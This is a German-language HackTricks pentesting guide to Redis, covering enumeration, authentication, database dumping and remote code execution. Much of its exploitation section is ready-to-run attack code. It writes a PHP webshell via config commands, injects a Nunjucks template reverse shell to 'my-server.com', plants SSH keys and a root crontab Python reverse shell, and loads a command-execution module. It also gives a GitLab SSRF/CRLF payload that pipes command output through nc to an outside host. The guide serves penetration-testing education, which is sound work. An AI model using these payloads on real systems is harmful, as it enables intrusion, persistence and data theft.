hacktricks/network-services-pentesting/6379-pentesting-redis.md

20 KiB
Raw Blame History

6379 - Pentesting Redis

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking-Einblicke
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen

Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert

Treten Sie uns bei Discord bei und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!

Grundlegende Informationen

Von den Dokumenten: Redis ist ein Open-Source (BSD-lizenziertes), im Arbeitsspeicher befindliches Datenstrukturspeichersystem, das als Datenbank, Cache und Nachrichtenbroker verwendet wird.

Standardmäßig verwendet Redis ein textbasiertes Protokoll, aber Sie müssen bedenken, dass es auch ssl/tls implementieren kann. Erfahren Sie hier, wie Sie Redis mit ssl/tls ausführen.

Standardport: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Automatische Auflistung

Einige automatisierte Tools, die dabei helfen können, Informationen von einer Redis-Instanz zu erhalten:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Manuelle Aufzählung

Banner

Redis ist ein textbasiertes Protokoll, Sie können einfach den Befehl über einen Socket senden und die zurückgegebenen Werte werden lesbar sein. Denken Sie auch daran, dass Redis unter Verwendung von SSL/TLS ausgeführt werden kann (aber das ist sehr seltsam).

In einer regulären Redis-Instanz können Sie einfach eine Verbindung mit nc herstellen oder auch redis-cli verwenden:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Der erste Befehl, den Sie ausprobieren könnten, ist info. Es könnte eine Ausgabe mit Informationen über die Redis-Instanz zurückgeben oder etwas Ähnliches wie das Folgende zurückgeben:

-NOAUTH Authentication required.

In diesem letzten Fall bedeutet dies, dass Sie gültige Anmeldeinformationen benötigen, um auf die Redis-Instanz zuzugreifen.

Redis-Authentifizierung

Standardmäßig kann auf Redis ohne Anmeldeinformationen zugegriffen werden. Es kann jedoch konfiguriert werden, um nur ein Passwort oder Benutzername + Passwort zu unterstützen.
Es ist möglich, ein Passwort in der Datei redis.conf mit dem Parameter requirepass festzulegen oder vorübergehend bis zum Neustart des Dienstes, indem Sie sich damit verbinden und ausführen: config set requirepass p@ss$12E45.
Außerdem kann ein Benutzername im Parameter masteruser in der Datei redis.conf konfiguriert werden.

{% hint style="info" %} Wenn nur ein Passwort konfiguriert ist, wird der verwendete Benutzername "default" sein.
Beachten Sie auch, dass extern nicht festgestellt werden kann, ob Redis nur mit einem Passwort oder mit Benutzername + Passwort konfiguriert wurde. {% endhint %}

In Fällen wie diesem müssen Sie gültige Anmeldeinformationen finden, um mit Redis interagieren zu können. Sie könnten versuchen, es brute-force zu knacken.
Wenn Sie gültige Anmeldeinformationen gefunden haben, müssen Sie die Sitzung authentifizieren, nachdem Sie die Verbindung mit dem Befehl hergestellt haben:

AUTH <username> <password>

Gültige Anmeldeinformationen werden mit: +OK beantwortet

Authentifizierte Aufzählung

Wenn der Redis-Server anonyme Verbindungen zulässt oder wenn Sie gültige Anmeldeinformationen erhalten haben, können Sie den Aufzählungsprozess für den Dienst mit den folgenden Befehlen initiieren:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Weitere Redis-Befehle finden Sie hier und hier.

Beachten Sie, dass die Redis-Befehle einer Instanz umbenannt oder in der redis.conf Datei entfernt werden können. Zum Beispiel wird mit dieser Zeile der Befehl FLUSHDB entfernt:

rename-command FLUSHDB ""

Mehr über die sichere Konfiguration eines Redis-Dienstes finden Sie hier: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Sie können auch Echtzeitüberwachung der ausgeführten Redis-Befehle mit dem Befehl monitor durchführen oder die 25 langsamsten Abfragen mit slowlog get 25 abrufen.

Weitere interessante Informationen zu weiteren Redis-Befehlen finden Sie hier: https://lzone.de/cheat-sheet/Redis

Datenbank sichern

In Redis sind die Datenbanken Nummern, die bei 0 beginnen. Sie können herausfinden, ob eine davon verwendet wird, indem Sie den Befehl info im Abschnitt "Keyspace" ausführen:

Oder Sie können einfach alle Keyspaces (Datenbanken) mit:

INFO keyspace

In diesem Beispiel werden Datenbank 0 und 1 verwendet. Datenbank 0 enthält 4 Schlüssel und Datenbank 1 enthält 1. Standardmäßig verwendet Redis Datenbank 0. Um beispielsweise Datenbank 1 zu sichern, müssen Sie Folgendes tun:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

Im Falle des folgenden Fehlers -WRONGTYPE Operation against a key holding the wrong kind of value beim Ausführen von GET <KEY> liegt es daran, dass der Schlüssel möglicherweise etwas anderes als ein String oder eine Ganzzahl ist und einen speziellen Operator erfordert, um ihn anzuzeigen.

Um den Typ des Schlüssels zu erfahren, verwenden Sie das TYPE-Befehl, Beispiel unten für Listen- und Hash-Schlüssel.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Datenbank mit npm dumpen redis-dump oder Python redis-utils

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking-Einblicke
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen

Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert

Treten Sie uns bei Discord und beginnen Sie noch heute mit der Zusammenarbeit mit Top-Hackern!

Redis RCE

Interaktive Shell

redis-rogue-server kann automatisch eine interaktive Shell oder eine Reverse-Shell in Redis (<=5.0.5) erhalten.

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Info von hier. Du musst den Pfad des Webseitenordners kennen:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Wenn die Webshell-Zugriffsausnahme vorliegt, können Sie die Datenbank nach dem Backup leeren und es erneut versuchen. Denken Sie daran, die Datenbank wiederherzustellen.

Vorlage Webshell

Wie im vorherigen Abschnitt könnten Sie auch eine HTML-Vorlagendatei überschreiben, die von einem Vorlagen-Engine interpretiert wird, um eine Shell zu erhalten.

Zum Beispiel, folgend diesem Bericht, können Sie sehen, dass der Angreifer eine Rev-Shell in einem HTML injiziert hat, das vom Nunjucks-Vorlagen-Engine interpretiert wird:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

{% hint style="warning" %} Beachten Sie, dass mehrere Template-Engines den Cache der Templates im Speicher speichern, sodass der neue, überschriebene Inhalt nicht ausgeführt wird. In solchen Fällen hat der Entwickler entweder die automatische Neuladung aktiviert oder Sie müssen einen DoS-Angriff auf den Dienst durchführen (und erwarten, dass er automatisch neu gestartet wird). {% endhint %}

SSH

Beispiel von hier

Bitte beachten Sie, dass das Ergebnis von config get dir nach anderen manuell ausgeführten Exploit-Befehlen geändert werden kann. Es wird empfohlen, es direkt nach dem Einloggen in Redis auszuführen. In der Ausgabe von config get dir finden Sie das Home-Verzeichnis des Redis-Benutzers (normalerweise /var/lib/redis oder /home/redis/.ssh), und wenn Sie dies wissen, wissen Sie, wo Sie die Datei authenticated_users schreiben können, um über ssh mit dem Benutzer redis darauf zuzugreifen. Wenn Sie das Home-Verzeichnis eines anderen gültigen Benutzers kennen, für das Sie Schreibberechtigungen haben, können Sie es auch missbrauchen:

  1. Generieren Sie ein SSH-Public-Private-Key-Paar auf Ihrem PC: ssh-keygen -t rsa
  2. Schreiben Sie den öffentlichen Schlüssel in eine Datei: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Importieren Sie die Datei in Redis: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Speichern Sie den öffentlichen Schlüssel in der Datei authorized_keys auf dem Redis-Server:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Schließlich können Sie sich ssh zum Redis-Server mit dem privaten Schlüssel verbinden: ssh -i id_rsa redis@10.85.0.52

Diese Technik ist hier automatisiert: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Das letzte Beispiel ist für Ubuntu, für Centos sollte der obige Befehl lauten: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Diese Methode kann auch verwendet werden, um Bitcoin zu verdienen: yam

Redis-Modul laden

  1. Befolgen Sie die Anweisungen von https://github.com/n0b0dyCN/RedisModules-ExecuteCommand, um ein Redis-Modul zu kompilieren, um beliebige Befehle auszuführen.
  2. Laden Sie dann das kompilierte Modul auf irgendeine Weise hoch.
  3. Laden Sie das hochgeladene Modul zur Laufzeit mit MODULE LOAD /Pfad/zum/meinemodul.so.
  4. Liste geladener Module auf, um zu überprüfen, ob es korrekt geladen wurde: MODULE LIST.
  5. Führen Sie Befehle aus:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Entladen Sie das Modul jederzeit mit: MODULE UNLOAD mymodule.

LUA-Sandbox-Umgehung

Hier können Sie sehen, dass Redis den Befehl EVAL verwendet, um Lua-Code sandboxed auszuführen. Im verlinkten Beitrag können Sie sehen, wie man es missbraucht, indem die dofile-Funktion verwendet wird, aber anscheinend ist dies nicht mehr möglich. Wie auch immer, wenn Sie die Lua-Sandbox umgehen können, könnten Sie beliebige Befehle auf dem System ausführen. Außerdem können Sie aus demselben Beitrag einige Optionen zur Verursachung von DoS sehen.

Einige CVEs zur Umgehung von LUA:

Master-Slave-Modul

Alle Operationen des Master-Redis werden automatisch mit dem Slave-Redis synchronisiert, was bedeutet, dass wir den anfälligen Redis als Slave-Redis betrachten können, der mit dem Master-Redis verbunden ist, den wir kontrollieren, und dann können wir Befehle in unseren eigenen Redis eingeben.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF mit Redis sprechen

Wenn Sie Klartextanfragen an Redis senden können, können Sie mit ihm kommunizieren, da Redis die Anfrage zeilenweise liest und nur mit Fehlern auf die Zeilen antwortet, die es nicht versteht:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Daher, wenn Sie eine SSRF-Schwachstelle auf einer Website finden und einige Header (vielleicht mit einer CRLF-Schwachstelle) oder POST-Parameter kontrollieren können, können Sie beliebige Befehle an Redis senden.

Beispiel: Gitlab SSRF + CRLF zu Shell

In Gitlab11.4.7 wurden eine SSRF-Schwachstelle und eine CRLF entdeckt. Die SSRF-Schwachstelle befand sich in der Funktionalität zum Importieren von Projekten von einer URL beim Erstellen eines neuen Projekts und ermöglichte den Zugriff auf beliebige IPs in der Form [0:0:0:0:0:ffff:127.0.0.1] (dies greift auf 127.0.0.1 zu), und die CRLF-Schwachstelle wurde einfach ausgenutzt, indem %0D%0A-Zeichen zur URL hinzugefügt wurden.

Daher war es möglich, diese Schwachstellen zu missbrauchen, um mit der Redis-Instanz zu kommunizieren, die die Warteschlangen von Gitlab verwaltet, und diese Warteschlangen zu missbrauchen, um Codeausführung zu erlangen. Das Payload für den Missbrauch der Redis-Warteschlange lautet:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

Und die URL-codierte Anfrage, die SSRF und CRLF missbraucht, um ein whoami auszuführen und die Ausgabe über nc zurückzusenden, lautet:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Aus irgendeinem Grund (wie für den Autor von https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_ , wo diese Information herstammt) funktionierte die Ausnutzung mit dem git-Schema und nicht mit dem http-Schema._

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Insights
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen

Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert

Treten Sie uns bei auf Discord und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: